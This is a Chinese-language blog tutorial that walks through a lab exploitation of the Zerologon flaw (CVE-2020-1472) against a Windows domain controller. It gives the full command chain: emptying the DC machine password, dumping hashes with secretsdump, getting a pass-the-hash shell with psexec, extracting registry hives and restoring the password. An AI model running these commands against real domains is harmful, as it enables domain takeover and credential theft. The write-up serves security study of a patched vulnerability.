看我拿下域控-cve2020-1472-Netlogon

cve2020-1472


这篇是原理篇下一篇说简单通过 mimikatz拿下域控

简介

2020年8月11号,微软修复了Netlogon 特权提升漏洞,当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC 连接到域控制器,以获取域管理员访问权限。而2020年9月15日,secura发布了漏洞细节,之后相关的EXP也就被构造出来,漏洞原理

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

环境简介

DC

VERSION :Windows Server 2012 R2 Datacenter
HOSTNAME :WIN-H06K3JJM9AO
IP :192.168.18.20

Attack

IP:192.168.18.114

漏洞验证

我们可以使用如下命令进行漏洞验证

git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472\
pip install -r requirements.txt
python zerologon_tester.py '域控主机名' '域控ip'

在这里插入图片描述

success!

漏洞利用

思路

  • 置空域控保存在AD中的密码
  • 获取域控用户HASH
  • 通过获取到的管理员HASH得到一个SHELL,然后连接上去导出原来计算机中本地保存的HASH
  • 通过获取到的HASH恢复置空的域控密码

利用复现

环境配置

攻击机环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)

AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'
安装Impacket
git clone https://github.com/SecureAuthCorp/impacketcd 
cd impacket
pip install .
下载EXP
git clone https://github.com/dirkjanm/CVE-2020-1472

置空密码

python cve-2020-1472-exploit.py WIN-H06K3JJM9AO 192.168.18.20

在这里插入图片描述

获取HASH

接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义

python secretsdump.py abc.com/WIN-H06K3JJM9AO$@192.168.18.20 -no-pass

在这里插入图片描述

获取SHELL

获取到HASH之后pth

python psexec.py abc.com/Administrator@192.168.18.20 -hashes :afffeba176210fad4628f0524bfe1942   ----冒号不能少 “:”

在这里插入图片描述

获取原HASH

获取SHELL后我们执行以下命令,导出SAM中原来的HASH

get失败是因为本地没开共享

reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save

get sam.save
get system.save
get security.save

解HASH

执行如下命令,利用secretsdump.py && 猕猴桃(猕猴桃在下一篇讲攻击命令) 解析保存在本地的nt hash

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

然后我们保存上图中红框部分,即

75a5412d6016ca5c10c859425d2a13b1

恢复HASH

git clone https://github.com/risksense/zerologon

python reinstall_original_pw.py WIN-H06K3JJM9AO 192.168.18.20 75a5412d6016ca5c10c859425d2a13b1

在这里插入图片描述

检查是否恢复

我们这时候再用获取HASH时测试一下是否已经已经恢复

# windows
python secretsdump.py abc.com/WIN-H06K3JJM9AO$@192.168.18.20 -no-pass
# others
python secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值